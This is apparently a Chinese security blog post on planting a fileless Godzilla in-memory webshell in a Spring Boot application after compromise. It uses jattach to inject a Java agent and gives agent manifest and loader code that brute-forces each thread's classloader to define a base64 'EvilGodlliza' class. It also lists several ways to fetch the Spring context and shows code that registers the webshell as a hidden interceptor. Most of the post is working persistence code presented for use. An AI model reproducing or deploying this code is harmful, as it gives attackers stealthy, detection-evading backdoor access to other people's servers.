SprintBoot获取Context的一些方法&&agent外部注入哥斯拉内存马

请注意,本文编写于 420 天前,最后修改于 420 天前,其中某些信息可能已经过时。

前言

内存马高级,文明,实体马粗鄙,弟弟。

所以感觉现在能打内存马基本都是直接打内存马了,但是有时候,我们拿下springboot,是通过一些其他方式拿下的,并不是通过web的代码执行。

这时候,我们想做一个后门,常规正向后门又因为目标大多是内网环境访问不到,反弹后门流量又太大,而且这些后门可能还会留下实体文件,端口复用又需要root,而且有概率打炸。灵车率十分的高,所以我们最好的目光就是再springboot打一个内存马,文件不落地,正向连接隐蔽性高。

所以打内存马的目标十分简单,归根结底就是在进程中执行我们的jvav代码,然后打上注册上路由绑定上内存马。

打内存马的方案

如何在进程中执行任意代码?最简单的办法就是注入,然后java是虚拟机,它十分贴心的提供了一套native接口供我们调用,推荐一个工具:jattach

用这玩意大概原理可以直接注入进内存,很贴心的帮我们调用了java native api,然后打入我们的agent。

使用方式就直接jattach.exe pid load instrument false 'agent路径'

那么我们第一个目标就是制作一个agent

制作agent

agent我们主要就是当成一个有特殊入口点的DLL就行,agent主要在于premain,agentmain等这些函数,这些函数网络上介绍的已经很详细了,我们这里就不再赘述,我们直接看向agentmain,这个作用主要是虚拟机加载完之后会调用这个函数。

同时,我们修改MANIFSET.MF文件,添加一个Agent-Class 指向我们的入口点类

完整模板如下

//META-INF/MANIFSET.MF
Manifest-Version: 1.0
Created-By: 18.0.1 (Oracle Corporation)
Premain-Class: com.bie.agent
Agent-Class: com.bie.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
package com.bie
public class agent {
    public static void agentmain(String agentOps, Instrumentation inst) throws UnmodifiableClassException, IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    }
}

接下来,我们再其中添加代码执行的函数,一般运行内存马的时候,是直接使用Thread.currentThread().getContextClassLoader(),来加载我们的class,在web中可以使用,但是在这里不行

因为在web中运行时,我们当前的Thread已经包含了所需要的上下文已经环境变量,所以接下来打入内存马时候才能把我们的内存马添加到路由管理里,一般这个线程名字在tomcat和springboot中是叫做xxx-EXEC-一个数字,但是此时我们是注入进去的,线程中并不包含这些信息,所以我们就得另辟蹊径。

既然这个线程没有,那么我们直接枚举过去不就行了?反正java中try这个东西实在是好用,能成就能成,不能成用try兜住反正也不会炸。

于是乎,我们的代码就可以这样写

Method m = Thread.class.getDeclaredMethod("getThreads");
        
        m.setAccessible(true);
        Thread[] threads = (Thread[])((Thread[])m.invoke((Object)null));

        for(int i = 0;i<threads.length;i++){
            try {

                byte[] var2 = (new BASE64Decoder()).decodeBuffer("你的内存马base64");

                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
                defineClass.setAccessible(true);


                Class Evil = (Class) defineClass.invoke(threads[i].getContextClassLoader(), "EvilGodlliza", var2, 0, var2.length);
                Constructor constructor = Evil.getDeclaredConstructor( int.class);//这里要设置和析构函数的参数一样,我们Eval里只有一个int所以就设置成int
                constructor.setAccessible(true);
                constructor.newInstance(111);

            } catch (Exception var4) {

                var4.printStackTrace(ps);


            }
        }

直接通过循环所有线程,暴力加载,反正只要在内存里,总有一个是可以成的

内存马部分

总而言之言而总之,就是内存马,详细可以参考我之前写的SpringBoot 内存马 && SPEL注入内存马

不同的就是想办法把哥斯拉扣出来,不过这种基本都是小菜一桩,把jsp的request和response和session换成springboot的就完事了,我们主要是要处理Context获取,不同版本获取Context的方法都各不相同。于是乎我总结了一些直接获取Context的方法

                org.springframework.web.context.WebApplicationContext context = null;

                try{
                    java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
                    filed.setAccessible(true);
                    context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
                }catch (Exception exx){
                    exx.printStackTrace(ps);
                }

                if (context == null){
                    try {
                        context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }
                if (context == null){
                    try {
                        context = ContextLoader.getCurrentWebApplicationContext();
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

直接套上就能用,然后就是规规矩矩的加路由

                RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
                Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
                field.setAccessible(true);
                java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(requestMappingHandlerMapping);
                EvilGodlliza vulInterceptor = new EvilGodlliza( 0);
                adaptedInterceptors.add(vulInterceptor);

                out.write("ojbk");
                out.close();

合起来大概就能用了

另外一个思路

其实再agent中,我们不只可以用这个方法,还有一个方法是通过jvm虚拟机api,直接修改native字节码,这个太晚了,明天再写,咕咕咕

添加新评论

已有 1 条评论